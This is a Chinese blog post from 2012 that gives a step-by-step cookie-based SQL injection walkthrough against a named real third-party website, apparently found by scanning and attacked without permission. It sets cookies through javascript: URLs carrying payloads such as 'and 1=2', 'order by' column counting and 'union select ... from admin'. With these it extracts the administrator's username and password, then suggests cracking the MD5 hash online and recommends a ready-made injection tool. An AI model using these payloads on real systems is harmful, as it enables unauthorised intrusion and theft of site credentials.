加载中…
个人资料
追求绿茵
追求绿茵
  • 博客等级:
  • 博客积分:0
  • 博客访问:64,930
  • 关注人气:24
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

Cookie SQL注入(1)

(2012-04-13 09:23:22)
标签:

cookie

sql注入

杂谈

分类: 黑客

   在扫描一些网站时,发现有一些网址有可以Cookies注入的方式,在网上查了相关资料,并在朋友的帮助下,做了一下小小的尝试,操作如下:

方法一:手动Cookies注入

 要知道,cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
     相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件,

   条件1:是程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。

   条件2:在条件1的基础上,还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取。

下面来尝试一下:找到这个网站,发现其有Cookies注入

http://www.st3yy.com/experts_info.asp?id=128

Cookie <wbr>SQL注入(1)



,尝试一下平时的注入方式是否成功,在网址的后面加上and 1=1

Cookie <wbr>SQL注入(1)

发觉并没有使用了防注入系统的,(这种失误是不可以的),就目前而言,大多数是使用get方式提交的参数,那现在我们将“id=128”这个参数使用cookie提交看看程序对数据接收是否直接使用 request("xx")的方式?要更改成cookie方式提交,我们首先要访问正常的页面,即是:

具体操作是:

    1、先打开http://www.st3yy.com/experts_info.asp?id=128,等页面完全打开之后,我们将IE地址栏清空,

如下图Cookie <wbr>SQL注入(1)

在空白的地址栏上,填写上,以下内容
javascript:alert(document.cookie="id="+escape("128"));

这里的“id=”便是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=”,“escape("128")”中的“128”是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=218”了,这两处要具体根据所获的数据来决定)

   写完之后按下回车网页中会弹出以下对话框:如下图

Cookie <wbr>SQL注入(1)

2、 进行了第二步了,打开另一个窗口中,试一下,访问http://www.st3yy.com/experts_info.asp?
(既是将“id=128”去掉后),然后看是否能正常访问。

结果如下:

Cookie <wbr>SQL注入(1)

   从上图可以看到,与之前可见访问之后的页面与访问http://www.st3yy.com/experts_info.asp?id=128效果是一样的。

   从这里可以知道,程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。

   现在cookie形成的一个重要因素已经明确了。

  3.第三步,测试一下是否能提交接特殊字符,看程序是否对数据进行过滤。我们再回到刚才更改cookie的页面,然后在IE地址栏处填写

javascript:alert(document.cookie="id="+escape("128 and 1=1"));

Cookie <wbr>SQL注入(1)



   回车后再去http://www.st3yy.com/experts_info.asp?页面刷新,

Cookie <wbr>SQL注入(1)

  看页面是否正常,如果正常我们再提交

javascript:alert(document.cookie="id="+escape("128 and 1=2"));  

Cookie <wbr>SQL注入(1)



 然后再去刷新,这个时候就会看见出错了。


Cookie <wbr>SQL注入(1)

  你会发现,有很明显就能看到错误了,而且一些信息都没有有显示,在这里,可以确定该页面为Cookies注入了。

 

   4、进行到这里了,这和一些普通的流放方式是一样的,我们可以接下来使用union联合查询爆出管理员的账号和密码,但前提是需要知道管理员的表名和字段名,不过我们可以通过猜解。

   具体如下:首先来使用order by 语句判断出当前执行数据库查询的表的字段数,

   我们提交:

   javascript:alert(document.cookie="id="+escape("128 order by 1"));

Cookie <wbr>SQL注入(1)



然会正常,表示可以使用order by语句,Cookie <wbr>SQL注入(1)   可以看到,页面出现是正常的,说明可以使用Order by来猜解字段数。

 如果错误的话可能是不能使用order by来猜解字段数了,那就换用直接union select 一个一个的试了。再提交:

javascript:alert(document.cookie="id="+escape("128 order by 10"));Cookie <wbr>SQL注入(1)

Cookie <wbr>SQL注入(1)

 如果还返回正常就说明字段数在10以上,

现在试一下20,即
javascript:alert(document.cookie="id="+escape("128 order by 20"));

Cookie <wbr>SQL注入(1)

Cookie <wbr>SQL注入(1)

发现,它是在20以上,以上面这样操作,当到23时,就发现不行,如下:

Cookie <wbr>SQL注入(1)

Cookie <wbr>SQL注入(1)


综上,可以猜解出正确的字段数22.


5、接下来我们提交:

javascript:alert(document.cookie="id="+escape("128 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from manage"));

发现有错误,我们再提交

javascript:alert(document.cookie="id="+escape("128 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin"));发现返回正常页面。

   看到熟悉的画面了吧,这就表示网站数据库存在admin这个表,因我们之前一次提交的是javascript:alert(document.cookie="id="+escape("128 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from manage"));

  数据库中不存在mange这个表,自然就出错了,使用更换from 处可以来猜解表明,

  如果在那么6和17的地方试试username和password看看提交后是否出错,如果出错那么就表示不存在username或者password字段。我们提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin"));

6、  最后在原来显示6和17的地方现在爆出了管理员的账号和密码了,

  得到的密码是加过密的,如果是md5加密,可以进相关网站上,进行破解。

方法二:使用工具 cookies注入工具,在网上找到了,这一款Cookies注入的软件,发现,里面有一些视频,看来,好人总是有的

Cookie <wbr>SQL注入(1)

发现里有一些视频,我想就不用我写了,可以去看一下。
Cookie <wbr>SQL注入(1)




0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有